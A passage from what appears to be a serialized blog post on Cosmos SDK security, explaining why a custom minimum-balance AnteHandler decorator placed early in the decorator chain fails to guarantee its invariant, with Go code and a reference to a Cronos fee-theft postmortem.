MIN_BALANCE",{"type":24,"tag":83,"props":78290,"children":78291},{"style":143},[78292],{"type":29,"value":146},{"type":24,"tag":83,"props":78294,"children":78295},{"style":245},[78296],{"type":29,"value":19082},{"type":24,"tag":83,"props":78298,"children":78299},{"class":85,"line":128},[78300],{"type":24,"tag":83,"props":78301,"children":78302},{"style":107},[78303],{"type":29,"value":2905},{"type":24,"tag":83,"props":78305,"children":78306},{"class":85,"line":183},[78307],{"type":24,"tag":83,"props":78308,"children":78309},{"emptyLinePlaceholder":16},[78310],{"type":29,"value":3422},{"type":24,"tag":83,"props":78312,"children":78313},{"class":85,"line":203},[78314,78318,78322,78327,78332,78336,78340],{"type":24,"tag":83,"props":78315,"children":78316},{"style":90},[78317],{"type":29,"value":76015},{"type":24,"tag":83,"props":78319,"children":78320},{"style":107},[78321],{"type":29,"value":223},{"type":24,"tag":83,"props":78323,"children":78324},{"style":137},[78325],{"type":29,"value":78326},"abd ",{"type":24,"tag":83,"props":78328,"children":78329},{"style":3163},[78330],{"type":29,"value":78331},"AccountBalanceDecorator",{"type":24,"tag":83,"props":78333,"children":78334},{"style":107},[78335],{"type":29,"value":633},{"type":24,"tag":83,"props":78337,"children":78338},{"style":101},[78339],{"type":29,"value":78260},{"type":24,"tag":83,"props":78341,"children":78342},{"style":107},[78343],{"type":29,"value":3208},{"type":24,"tag":83,"props":78345,"children":78346},{"class":85,"line":212},[78347,78351,78356,78360,78364],{"type":24,"tag":83,"props":78348,"children":78349},{"style":137},[78350],{"type":29,"value":19964},{"type":24,"tag":83,"props":78352,"children":78353},{"style":3163},[78354],{"type":29,"value":78355}," sdk",{"type":24,"tag":83,"props":78357,"children":78358},{"style":107},[78359],{"type":29,"value":161},{"type":24,"tag":83,"props":78361,"children":78362},{"style":3163},[78363],{"type":29,"value":76064},{"type":24,"tag":83,"props":78365,"children":78366},{"style":107},[78367],{"type":29,"value":989},{"type":24,"tag":83,"props":78369,"children":78370},{"class":85,"line":256},[78371,78376,78380,78384,78389],{"type":24,"tag":83,"props":78372,"children":78373},{"style":137},[78374],{"type":29,"value":78375},"    tx",{"type":24,"tag":83,"props":78377,"children":78378},{"style":3163},[78379],{"type":29,"value":78355},{"type":24,"tag":83,"props":78381,"children":78382},{"style":107},[78383],{"type":29,"value":161},{"type":24,"tag":83,"props":78385,"children":78386},{"style":3163},[78387],{"type":29,"value":78388},"Tx",{"type":24,"tag":83,"props":78390,"children":78391},{"style":107},[78392],{"type":29,"value":989},{"type":24,"tag":83,"props":78394,"children":78395},{"class":85,"line":270},[78396,78401,78405],{"type":24,"tag":83,"props":78397,"children":78398},{"style":137},[78399],{"type":29,"value":78400},"    simulate",{"type":24,"tag":83,"props":78402,"children":78403},{"style":3163},[78404],{"type":29,"value":11797},{"type":24,"tag":83,"props":78406,"children":78407},{"style":107},[78408],{"type":29,"value":989},{"type":24,"tag":83,"props":78410,"children":78411},{"class":85,"line":302},[78412,78417,78421,78425,78429],{"type":24,"tag":83,"props":78413,"children":78414},{"style":137},[78415],{"type":29,"value":78416},"    next",{"type":24,"tag":83,"props":78418,"children":78419},{"style":3163},[78420],{"type":29,"value":78355},{"type":24,"tag":83,"props":78422,"children":78423},{"style":107},[78424],{"type":29,"value":161},{"type":24,"tag":83,"props":78426,"children":78427},{"style":3163},[78428],{"type":29,"value":78185},{"type":24,"tag":83,"props":78430,"children":78431},{"style":107},[78432],{"type":29,"value":989},{"type":24,"tag":83,"props":78434,"children":78435},{"class":85,"line":324},[78436,78440,78445,78449,78453,78457,78461],{"type":24,"tag":83,"props":78437,"children":78438},{"style":107},[78439],{"type":29,"value":76097},{"type":24,"tag":83,"props":78441,"children":78442},{"style":3163},[78443],{"type":29,"value":78444},"sdk",{"type":24,"tag":83,"props":78446,"children":78447},{"style":107},[78448],{"type":29,"value":161},{"type":24,"tag":83,"props":78450,"children":78451},{"style":3163},[78452],{"type":29,"value":76064},{"type":24,"tag":83,"props":78454,"children":78455},{"style":107},[78456],{"type":29,"value":568},{"type":24,"tag":83,"props":78458,"children":78459},{"style":3163},[78460],{"type":29,"value":14606},{"type":24,"tag":83,"props":78462,"children":78463},{"style":107},[78464],{"type":29,"value":253},{"type":24,"tag":83,"props":78466,"children":78467},{"class":85,"line":345},[78468,78473,78477,78482,78486,78490,78495,78500,78504,78509],{"type":24,"tag":83,"props":78469,"children":78470},{"style":137},[78471],{"type":29,"value":78472},"    sigTx",{"type":24,"tag":83,"props":78474,"children":78475},{"style":107},[78476],{"type":29,"value":568},{"type":24,"tag":83,"props":78478,"children":78479},{"style":137},[78480],{"type":29,"value":78481},"ok",{"type":24,"tag":83,"props":78483,"children":78484},{"style":143},[78485],{"type":29,"value":76131},{"type":24,"tag":83,"props":78487,"children":78488},{"style":137},[78489],{"type":29,"value":67743},{"type":24,"tag":83,"props":78491,"children":78492},{"style":107},[78493],{"type":29,"value":78494},".(",{"type":24,"tag":83,"props":78496,"children":78497},{"style":3163},[78498],{"type":29,"value":78499},"authsigning",{"type":24,"tag":83,"props":78501,"children":78502},{"style":107},[78503],{"type":29,"value":161},{"type":24,"tag":83,"props":78505,"children":78506},{"style":3163},[78507],{"type":29,"value":78508},"SigVerifiableTx",{"type":24,"tag":83,"props":78510,"children":78511},{"style":107},[78512],{"type":29,"value":2905},{"type":24,"tag":83,"props":78514,"children":78515},{"class":85,"line":358},[78516,78520,78524,78528],{"type":24,"tag":83,"props":78517,"children":78518},{"style":117},[78519],{"type":29,"value":218},{"type":24,"tag":83,"props":78521,"children":78522},{"style":143},[78523],{"type":29,"value":12609},{"type":24,"tag":83,"props":78525,"children":78526},{"style":137},[78527],{"type":29,"value":78481},{"type":24,"tag":83,"props":78529,"children":78530},{"style":107},[78531],{"type":29,"value":125},{"type":24,"tag":83,"props":78533,"children":78534},{"class":85,"line":367},[78535,78539,78543,78547,78552,78556,78561],{"type":24,"tag":83,"props":78536,"children":78537},{"style":117},[78538],{"type":29,"value":15482},{"type":24,"tag":83,"props":78540,"children":78541},{"style":137},[78542],{"type":29,"value":25592},{"type":24,"tag":83,"props":78544,"children":78545},{"style":107},[78546],{"type":29,"value":568},{"type":24,"tag":83,"props":78548,"children":78549},{"style":137},[78550],{"type":29,"value":78551},"errorsmod",{"type":24,"tag":83,"props":78553,"children":78554},{"style":107},[78555],{"type":29,"value":161},{"type":24,"tag":83,"props":78557,"children":78558},{"style":101},[78559],{"type":29,"value":78560},"Wrap",{"type":24,"tag":83,"props":78562,"children":78563},{"style":107},[78564],{"type":29,"value":3208},{"type":24,"tag":83,"props":78566,"children":78567},{"class":85,"line":406},[78568,78573,78577,78582],{"type":24,"tag":83,"props":78569,"children":78570},{"style":137},[78571],{"type":29,"value":78572},"            sdkerrors",{"type":24,"tag":83,"props":78574,"children":78575},{"style":107},[78576],{"type":29,"value":161},{"type":24,"tag":83,"props":78578,"children":78579},{"style":137},[78580],{"type":29,"value":78581},"ErrTxDecode",{"type":24,"tag":83,"props":78583,"children":78584},{"style":107},[78585],{"type":29,"value":989},{"type":24,"tag":83,"props":78587,"children":78588},{"class":85,"line":427},[78589,78594],{"type":24,"tag":83,"props":78590,"children":78591},{"style":187},[78592],{"type":29,"value":78593},"            \"invalid tx type\"",{"type":24,"tag":83,"props":78595,"children":78596},{"style":107},[78597],{"type":29,"value":989},{"type":24,"tag":83,"props":78599,"children":78600},{"class":85,"line":440},[78601],{"type":24,"tag":83,"props":78602,"children":78603},{"style":107},[78604],{"type":29,"value":68036},{"type":24,"tag":83,"props":78606,"children":78607},{"class":85,"line":449},[78608],{"type":24,"tag":83,"props":78609,"children":78610},{"style":107},[78611],{"type":29,"value":446},{"type":24,"tag":83,"props":78613,"children":78614},{"class":85,"line":458},[78615],{"type":24,"tag":83,"props":78616,"children":78617},{"emptyLinePlaceholder":16},[78618],{"type":29,"value":3422},{"type":24,"tag":83,"props":78620,"children":78621},{"class":85,"line":1065},[78622,78627,78631,78636,78640,78645],{"type":24,"tag":83,"props":78623,"children":78624},{"style":137},[78625],{"type":29,"value":78626},"    signers",{"type":24,"tag":83,"props":78628,"children":78629},{"style":143},[78630],{"type":29,"value":76131},{"type":24,"tag":83,"props":78632,"children":78633},{"style":137},[78634],{"type":29,"value":78635}," sigTx",{"type":24,"tag":83,"props":78637,"children":78638},{"style":107},[78639],{"type":29,"value":161},{"type":24,"tag":83,"props":78641,"children":78642},{"style":101},[78643],{"type":29,"value":78644},"GetSigners",{"type":24,"tag":83,"props":78646,"children":78647},{"style":107},[78648],{"type":29,"value":7483},{"type":24,"tag":83,"props":78650,"children":78651},{"class":85,"line":1668},[78652,78656,78660,78664,78668,78672,78676,78681],{"type":24,"tag":83,"props":78653,"children":78654},{"style":117},[78655],{"type":29,"value":2777},{"type":24,"tag":83,"props":78657,"children":78658},{"style":137},[78659],{"type":29,"value":3142},{"type":24,"tag":83,"props":78661,"children":78662},{"style":107},[78663],{"type":29,"value":568},{"type":24,"tag":83,"props":78665,"children":78666},{"style":137},[78667],{"type":29,"value":6893},{"type":24,"tag":83,"props":78669,"children":78670},{"style":143},[78671],{"type":29,"value":76131},{"type":24,"tag":83,"props":78673,"children":78674},{"style":117},[78675],{"type":29,"value":77114},{"type":24,"tag":83,"props":78677,"children":78678},{"style":137},[78679],{"type":29,"value":78680}," signers",{"type":24,"tag":83,"props":78682,"children":78683},{"style":107},[78684],{"type":29,"value":125},{"type":24,"tag":83,"props":78686,"children":78687},{"class":85,"line":1713},[78688,78693,78697,78702,78706,78711,78715,78720,78724,78728,78732,78736,78740,78745],{"type":24,"tag":83,"props":78689,"children":78690},{"style":137},[78691],{"type":29,"value":78692},"        balance",{"type":24,"tag":83,"props":78694,"children":78695},{"style":143},[78696],{"type":29,"value":76131},{"type":24,"tag":83,"props":78698,"children":78699},{"style":137},[78700],{"type":29,"value":78701}," abd",{"type":24,"tag":83,"props":78703,"children":78704},{"style":107},[78705],{"type":29,"value":161},{"type":24,"tag":83,"props":78707,"children":78708},{"style":137},[78709],{"type":29,"value":78710},"bk",{"type":24,"tag":83,"props":78712,"children":78713},{"style":107},[78714],{"type":29,"value":161},{"type":24,"tag":83,"props":78716,"children":78717},{"style":101},[78718],{"type":29,"value":78719},"getBalance",{"type":24,"tag":83,"props":78721,"children":78722},{"style":107},[78723],{"type":29,"value":558},{"type":24,"tag":83,"props":78725,"children":78726},{"style":137},[78727],{"type":29,"value":20021},{"type":24,"tag":83,"props":78729,"children":78730},{"style":107},[78731],{"type":29,"value":568},{"type":24,"tag":83,"props":78733,"children":78734},{"style":137},[78735],{"type":29,"value":6893},{"type":24,"tag":83,"props":78737,"children":78738},{"style":107},[78739],{"type":29,"value":568},{"type":24,"tag":83,"props":78741,"children":78742},{"style":137},[78743],{"type":29,"value":78744},"ATOM",{"type":24,"tag":83,"props":78746,"children":78747},{"style":107},[78748],{"type":29,"value":2905},{"type":24,"tag":83,"props":78750,"children":78751},{"class":85,"line":1730},[78752,78756,78761,78765,78770,78774,78779],{"type":24,"tag":83,"props":78753,"children":78754},{"style":117},[78755],{"type":29,"value":3018},{"type":24,"tag":83,"props":78757,"children":78758},{"style":137},[78759],{"type":29,"value":78760}," balance",{"type":24,"tag":83,"props":78762,"children":78763},{"style":107},[78764],{"type":29,"value":161},{"type":24,"tag":83,"props":78766,"children":78767},{"style":137},[78768],{"type":29,"value":78769},"Amount",{"type":24,"tag":83,"props":78771,"children":78772},{"style":143},[78773],{"type":29,"value":8463},{"type":24,"tag":83,"props":78775,"children":78776},{"style":137},[78777],{"type":29,"value":78778}," MIN_BALANCE",{"type":24,"tag":83,"props":78780,"children":78781},{"style":107},[78782],{"type":29,"value":125},{"type":24,"tag":83,"props":78784,"children":78785},{"class":85,"line":1770},[78786,78791,78795,78799,78803,78807,78811],{"type":24,"tag":83,"props":78787,"children":78788},{"style":117},[78789],{"type":29,"value":78790},"            return",{"type":24,"tag":83,"props":78792,"children":78793},{"style":137},[78794],{"type":29,"value":25592},{"type":24,"tag":83,"props":78796,"children":78797},{"style":107},[78798],{"type":29,"value":568},{"type":24,"tag":83,"props":78800,"children":78801},{"style":137},[78802],{"type":29,"value":78551},{"type":24,"tag":83,"props":78804,"children":78805},{"style":107},[78806],{"type":29,"value":161},{"type":24,"tag":83,"props":78808,"children":78809},{"style":101},[78810],{"type":29,"value":78560},{"type":24,"tag":83,"props":78812,"children":78813},{"style":107},[78814],{"type":29,"value":3208},{"type":24,"tag":83,"props":78816,"children":78817},{"class":85,"line":1778},[78818,78823],{"type":24,"tag":83,"props":78819,"children":78820},{"style":137},[78821],{"type":29,"value":78822},"                ErrInsufficientBalance",{"type":24,"tag":83,"props":78824,"children":78825},{"style":107},[78826],{"type":29,"value":989},{"type":24,"tag":83,"props":78828,"children":78829},{"class":85,"line":1803},[78830,78835],{"type":24,"tag":83,"props":78831,"children":78832},{"style":187},[78833],{"type":29,"value":78834},"                \"Insufficient Balance\"",{"type":24,"tag":83,"props":78836,"children":78837},{"style":107},[78838],{"type":29,"value":989},{"type":24,"tag":83,"props":78840,"children":78841},{"class":85,"line":1811},[78842],{"type":24,"tag":83,"props":78843,"children":78844},{"style":107},[78845],{"type":29,"value":77230},{"type":24,"tag":83,"props":78847,"children":78848},{"class":85,"line":8792},[78849],{"type":24,"tag":83,"props":78850,"children":78851},{"style":107},[78852],{"type":29,"value":3092},{"type":24,"tag":83,"props":78854,"children":78855},{"class":85,"line":8810},[78856],{"type":24,"tag":83,"props":78857,"children":78858},{"style":107},[78859],{"type":29,"value":446},{"type":24,"tag":83,"props":78861,"children":78862},{"class":85,"line":8855},[78863],{"type":24,"tag":83,"props":78864,"children":78865},{"emptyLinePlaceholder":16},[78866],{"type":29,"value":3422},{"type":24,"tag":83,"props":78868,"children":78869},{"class":85,"line":8961},[78870,78874,78879,78883,78887,78891,78896,78900,78905],{"type":24,"tag":83,"props":78871,"children":78872},{"style":117},[78873],{"type":29,"value":16725},{"type":24,"tag":83,"props":78875,"children":78876},{"style":101},[78877],{"type":29,"value":78878}," next",{"type":24,"tag":83,"props":78880,"children":78881},{"style":107},[78882],{"type":29,"value":558},{"type":24,"tag":83,"props":78884,"children":78885},{"style":137},[78886],{"type":29,"value":20021},{"type":24,"tag":83,"props":78888,"children":78889},{"style":107},[78890],{"type":29,"value":568},{"type":24,"tag":83,"props":78892,"children":78893},{"style":137},[78894],{"type":29,"value":78895},"tx",{"type":24,"tag":83,"props":78897,"children":78898},{"style":107},[78899],{"type":29,"value":568},{"type":24,"tag":83,"props":78901,"children":78902},{"style":137},[78903],{"type":29,"value":78904},"simulate",{"type":24,"tag":83,"props":78906,"children":78907},{"style":107},[78908],{"type":29,"value":2905},{"type":24,"tag":83,"props":78910,"children":78911},{"class":85,"line":23248},[78912],{"type":24,"tag":83,"props":78913,"children":78914},{"style":107},[78915],{"type":29,"value":464},{"type":24,"tag":25,"props":78917,"children":78918},{},[78919,78921,78926,78928,78934,78936,78942],{"type":29,"value":78920},"Where should this custom ",{"type":24,"tag":32,"props":78922,"children":78924},{"className":78923},[],[78925],{"type":29,"value":78185},{"type":29,"value":78927}," be placed relative to other ",{"type":24,"tag":32,"props":78929,"children":78931},{"className":78930},[],[78932],{"type":29,"value":78933},"AnteHandlers",{"type":29,"value":78935}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":24,"tag":32,"props":78937,"children":78939},{"className":78938},[],[78940],{"type":29,"value":78941},"SetUpContextDecorator",{"type":29,"value":78943}," should work, right?",{"type":24,"tag":25,"props":78945,"children":78946},{},[78947],{"type":24,"tag":2033,"props":78948,"children":78951},{"href":78949,"rel":78950},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[2037],[78952],{"type":29,"value":76454},{"type":24,"tag":73,"props":78954,"children":78956},{"code":78955,"language":75879,"meta":7,"className":75880,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[78957],{"type":24,"tag":32,"props":78958,"children":78959},{"__ignoreMap":7},[78960,78993,79010,79018,79047,79059,79071,79100,79128,79207,79240,79268,79313,79358,79386],{"type":24,"tag":83,"props":78961,"children":78962},{"class":85,"line":86},[78963,78968,78972,78976,78980,78984,78989],{"type":24,"tag":83,"props":78964,"children":78965},{"style":137},[78966],{"type":29,"value":78967},"anteDecorators",{"type":24,"tag":83,"props":78969,"children":78970},{"style":143},[78971],{"type":29,"value":76131},{"type":24,"tag":83,"props":78973,"children":78974},{"style":107},[78975],{"type":29,"value":75942},{"type":24,"tag":83,"props":78977,"children":78978},{"style":3163},[78979],{"type":29,"value":78444},{"type":24,"tag":83,"props":78981,"children":78982},{"style":107},[78983],{"type":29,"value":161},{"type":24,"tag":83,"props":78985,"children":78986},{"style":3163},[78987],{"type":29,"value":78988},"AnteDecorator",{"type":24,"tag":83,"props":78990,"children":78991},{"style":107},[78992],{"type":29,"value":10628},{"type":24,"tag":83,"props":78994,"children":78995},{"class":85,"line":113},[78996,79001,79005],{"type":24,"tag":83,"props":78997,"children":78998},{"style":101},[78999],{"type":29,"value":79000},"    NewSetUpContextDecorator",{"type":24,"tag":83,"props":79002,"children":79003},{"style":107},[79004],{"type":29,"value":18112},{"type":24,"tag":83,"props":79006,"children":79007},{"style":2735},[79008],{"type":29,"value":79009},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":24,"tag":83,"props":79011,"children":79012},{"class":85,"line":128},[79013],{"type":24,"tag":83,"props":79014,"children":79015},{"style":2735},[79016],{"type":29,"value":79017},"    // INSERT HERE\n",{"type":24,"tag":83,"props":79019,"children":79020},{"class":85,"line":183},[79021,79026,79030,79034,79038,79043],{"type":24,"tag":83,"props":79022,"children":79023},{"style":101},[79024],{"type":29,"value":79025},"    NewExtensionOptionsDecorator",{"type":24,"tag":83,"props":79027,"children":79028},{"style":107},[79029],{"type":29,"value":558},{"type":24,"tag":83,"props":79031,"children":79032},{"style":137},[79033],{"type":29,"value":35772},{"type":24,"tag":83,"props":79035,"children":79036},{"style":107},[79037],{"type":29,"value":161},{"type":24,"tag":83,"props":79039,"children":79040},{"style":137},[79041],{"type":29,"value":79042},"ExtensionOptionChecker",{"type":24,"tag":83,"props":79044,"children":79045},{"style":107},[79046],{"type":29,"value":6483},{"type":24,"tag":83,"props":79048,"children":79049},{"class":85,"line":203},[79050,79055],{"type":24,"tag":83,"props":79051,"children":79052},{"style":101},[79053],{"type":29,"value":79054},"    NewValidateBasicDecorator",{"type":24,"tag":83,"props":79056,"children":79057},{"style":107},[79058],{"type":29,"value":3236},{"type":24,"tag":83,"props":79060,"children":79061},{"class":85,"line":212},[79062,79067],{"type":24,"tag":83,"props":79063,"children":79064},{"style":101},[79065],{"type":29,"value":79066},"    NewTxTimeoutHeightDecorator",{"type":24,"tag":83,"props":79068,"children":79069},{"style":107},[79070],{"type":29,"value":3236},{"type":24,"tag":83,"props":79072,"children":79073},{"class":85,"line":256},[79074,79079,79083,79087,79091,79096],{"type":24,"tag":83,"props":79075,"children":79076},{"style":101},[79077],{"type":29,"value":79078},"    NewValidateMemoDecorator",{"type":24,"tag":83,"props":79080,"children":79081},{"style":107},[79082],{"type":29,"value":558},{"type":24,"tag":83,"props":79084,"children":79085},{"style":137},[79086],{"type":29,"value":35772},{"type":24,"tag":83,"props":79088,"children":79089},{"style":107},[79090],{"type":29,"value":161},{"type":24,"tag":83,"props":79092,"children":79093},{"style":137},[79094],{"type":29,"value":79095},"AccountKeeper",{"type":24,"tag":83,"props":79097,"children":79098},{"style":107},[79099],{"type":29,"value":6483},{"type":24,"tag":83,"props":79101,"children":79102},{"class":85,"line":270},[79103,79108,79112,79116,79120,79124],{"type":24,"tag":83,"props":79104,"children":79105},{"style":101},[79106],{"type":29,"value":79107},"    NewConsumeGasForTxSizeDecorator",{"type":24,"tag":83,"props":79109,"children":79110},{"style":107},[79111],{"type":29,"value":558},{"type":24,"tag":83,"props":79113,"children":79114},{"style":137},[79115],{"type":29,"value":35772},{"type":24,"tag":83,"props":79117,"children":79118},{"style":107},[79119],{"type":29,"value":161},{"type":24,"tag":83,"props":79121,"children":79122},{"style":137},[79123],{"type":29,"value":79095},{"type":24,"tag":83,"props":79125,"children":79126},{"style":107},[79127],{"type":29,"value":6483},{"type":24,"tag":83,"props":79129,"children":79130},{"class":85,"line":302},[79131,79136,79140,79144,79148,79152,79156,79160,79164,79169,79173,79177,79181,79186,79190,79194,79198,79203],{"type":24,"tag":83,"props":79132,"children":79133},{"style":101},[79134],{"type":29,"value":79135},"    NewDeductFeeDecorator",{"type":24,"tag":83,"props":79137,"children":79138},{"style":107},[79139],{"type":29,"value":558},{"type":24,"tag":83,"props":79141,"children":79142},{"style":137},[79143],{"type":29,"value":35772},{"type":24,"tag":83,"props":79145,"children":79146},{"style":107},[79147],{"type":29,"value":161},{"type":24,"tag":83,"props":79149,"children":79150},{"style":137},[79151],{"type":29,"value":79095},{"type":24,"tag":83,"props":79153,"children":79154},{"style":107},[79155],{"type":29,"value":568},{"type":24,"tag":83,"props":79157,"children":79158},{"style":137},[79159],{"type":29,"value":35772},{"type":24,"tag":83,"props":79161,"children":79162},{"style":107},[79163],{"type":29,"value":161},{"type":24,"tag":83,"props":79165,"children":79166},{"style":137},[79167],{"type":29,"value":79168},"BankKeeper",{"type":24,"tag":83,"props":79170,"children":79171},{"style":107},[79172],{"type":29,"value":568},{"type":24,"tag":83,"props":79174,"children":79175},{"style":137},[79176],{"type":29,"value":35772},{"type":24,"tag":83,"props":79178,"children":79179},{"style":107},[79180],{"type":29,"value":161},{"type":24,"tag":83,"props":79182,"children":79183},{"style":137},[79184],{"type":29,"value":79185},"FeegrantKeeper",{"type":24,"tag":83,"props":79187,"children":79188},{"style":107},[79189],{"type":29,"value":568},{"type":24,"tag":83,"props":79191,"children":79192},{"style":137},[79193],{"type":29,"value":35772},{"type":24,"tag":83,"props":79195,"children":79196},{"style":107},[79197],{"type":29,"value":161},{"type":24,"tag":83,"props":79199,"children":79200},{"style":137},[79201],{"type":29,"value":79202},"TxFeeChecker",{"type":24,"tag":83,"props":79204,"children":79205},{"style":107},[79206],{"type":29,"value":6483},{"type":24,"tag":83,"props":79208,"children":79209},{"class":85,"line":324},[79210,79215,79219,79223,79227,79231,79235],{"type":24,"tag":83,"props":79211,"children":79212},{"style":101},[79213],{"type":29,"value":79214},"    NewSetPubKeyDecorator",{"type":24,"tag":83,"props":79216,"children":79217},{"style":107},[79218],{"type":29,"value":558},{"type":24,"tag":83,"props":79220,"children":79221},{"style":137},[79222],{"type":29,"value":35772},{"type":24,"tag":83,"props":79224,"children":79225},{"style":107},[79226],{"type":29,"value":161},{"type":24,"tag":83,"props":79228,"children":79229},{"style":137},[79230],{"type":29,"value":79095},{"type":24,"tag":83,"props":79232,"children":79233},{"style":107},[79234],{"type":29,"value":14918},{"type":24,"tag":83,"props":79236,"children":79237},{"style":2735},[79238],{"type":29,"value":79239},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":24,"tag":83,"props":79241,"children":79242},{"class":85,"line":345},[79243,79248,79252,79256,79260,79264],{"type":24,"tag":83,"props":79244,"children":79245},{"style":101},[79246],{"type":29,"value":79247},"    NewValidateSigCountDecorator",{"type":24,"tag":83,"props":79249,"children":79250},{"style":107},[79251],{"type":29,"value":558},{"type":24,"tag":83,"props":79253,"children":79254},{"style":137},[79255],{"type":29,"value":35772},{"type":24,"tag":83,"props":79257,"children":79258},{"style":107},[79259],{"type":29,"value":161},{"type":24,"tag":83,"props":79261,"children":79262},{"style":137},[79263],{"type":29,"value":79095},{"type":24,"tag":83,"props":79265,"children":79266},{"style":107},[79267],{"type":29,"value":6483},{"type":24,"tag":83,"props":79269,"children":79270},{"class":85,"line":358},[79271,79276,79280,79284,79288,79292,79296,79300,79304,79309],{"type":24,"tag":83,"props":79272,"children":79273},{"style":101},[79274],{"type":29,"value":79275},"    NewSigGasConsumeDecorator",{"type":24,"tag":83,"props":79277,"children":79278},{"style":107},[79279],{"type":29,"value":558},{"type":24,"tag":83,"props":79281,"children":79282},{"style":137},[79283],{"type":29,"value":35772},{"type":24,"tag":83,"props":79285,"children":79286},{"style":107},[79287],{"type":29,"value":161},{"type":24,"tag":83,"props":79289,"children":79290},{"style":137},[79291],{"type":29,"value":79095},{"type":24,"tag":83,"props":79293,"children":79294},{"style":107},[79295],{"type":29,"value":568},{"type":24,"tag":83,"props":79297,"children":79298},{"style":137},[79299],{"type":29,"value":35772},{"type":24,"tag":83,"props":79301,"children":79302},{"style":107},[79303],{"type":29,"value":161},{"type":24,"tag":83,"props":79305,"children":79306},{"style":137},[79307],{"type":29,"value":79308},"SigGasConsumer",{"type":24,"tag":83,"props":79310,"children":79311},{"style":107},[79312],{"type":29,"value":6483},{"type":24,"tag":83,"props":79314,"children":79315},{"class":85,"line":367},[79316,79321,79325,79329,79333,79337,79341,79345,79349,79354],{"type":24,"tag":83,"props":79317,"children":79318},{"style":101},[79319],{"type":29,"value":79320},"    NewSigVerificationDecorator",{"type":24,"tag":83,"props":79322,"children":79323},{"style":107},[79324],{"type":29,"value":558},{"type":24,"tag":83,"props":79326,"children":79327},{"style":137},[79328],{"type":29,"value":35772},{"type":24,"tag":83,"props":79330,"children":79331},{"style":107},[79332],{"type":29,"value":161},{"type":24,"tag":83,"props":79334,"children":79335},{"style":137},[79336],{"type":29,"value":79095},{"type":24,"tag":83,"props":79338,"children":79339},{"style":107},[79340],{"type":29,"value":568},{"type":24,"tag":83,"props":79342,"children":79343},{"style":137},[79344],{"type":29,"value":35772},{"type":24,"tag":83,"props":79346,"children":79347},{"style":107},[79348],{"type":29,"value":161},{"type":24,"tag":83,"props":79350,"children":79351},{"style":137},[79352],{"type":29,"value":79353},"SignModeHandler",{"type":24,"tag":83,"props":79355,"children":79356},{"style":107},[79357],{"type":29,"value":6483},{"type":24,"tag":83,"props":79359,"children":79360},{"class":85,"line":406},[79361,79366,79370,79374,79378,79382],{"type":24,"tag":83,"props":79362,"children":79363},{"style":101},[79364],{"type":29,"value":79365},"    NewIncrementSequenceDecorator",{"type":24,"tag":83,"props":79367,"children":79368},{"style":107},[79369],{"type":29,"value":558},{"type":24,"tag":83,"props":79371,"children":79372},{"style":137},[79373],{"type":29,"value":35772},{"type":24,"tag":83,"props":79375,"children":79376},{"style":107},[79377],{"type":29,"value":161},{"type":24,"tag":83,"props":79379,"children":79380},{"style":137},[79381],{"type":29,"value":79095},{"type":24,"tag":83,"props":79383,"children":79384},{"style":107},[79385],{"type":29,"value":6483},{"type":24,"tag":83,"props":79387,"children":79388},{"class":85,"line":427},[79389],{"type":24,"tag":83,"props":79390,"children":79391},{"style":107},[79392],{"type":29,"value":464},{"type":24,"tag":25,"props":79394,"children":79395},{},[79396,79398,79403,79405,79411,79412,79418],{"type":29,"value":79397},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":24,"tag":32,"props":79399,"children":79401},{"className":79400},[],[79402],{"type":29,"value":78933},{"type":29,"value":79404},", such as ",{"type":24,"tag":32,"props":79406,"children":79408},{"className":79407},[],[79409],{"type":29,"value":79410},"SigGasConsumeDecorator",{"type":29,"value":2287},{"type":24,"tag":32,"props":79413,"children":79415},{"className":79414},[],[79416],{"type":29,"value":79417},"ConsumeGasForTxSizeDecorator",{"type":29,"value":79419},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":24,"tag":25,"props":79421,"children":79422},{},[79423,79425,79431,79433,79438],{"type":29,"value":79424},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":24,"tag":32,"props":79426,"children":79428},{"className":79427},[],[79429],{"type":29,"value":79430},"msgs",{"type":29,"value":79432}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":24,"tag":32,"props":79434,"children":79436},{"className":79435},[],[79437],{"type":29,"value":78260},{"type":29,"value":79439}," chain.",{"type":24,"tag":1818,"props":79441,"children":79443},{"id":79442},"real-world-examples-2",[79444],{"type":29,"value":76404},{"type":24,"tag":25,"props":79446,"children":79447},{},[79448,79450,79455,79457,79464],{"type":29,"value":79449},"An instance of ",{"type":24,"tag":32,"props":79451,"children":79453},{"className":79452},[],[79454],{"type":29,"value":78185},{"type":29,"value":79456}," misuse is a ",{"type":24,"tag":2033,"props":79458,"children":79461},{"href":79459,"rel":79460},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[2037],[79462],{"type":29,"value":79463},"Theft of Fund bug",{"type":29,"value":79465}," that was exploited in a Cronos 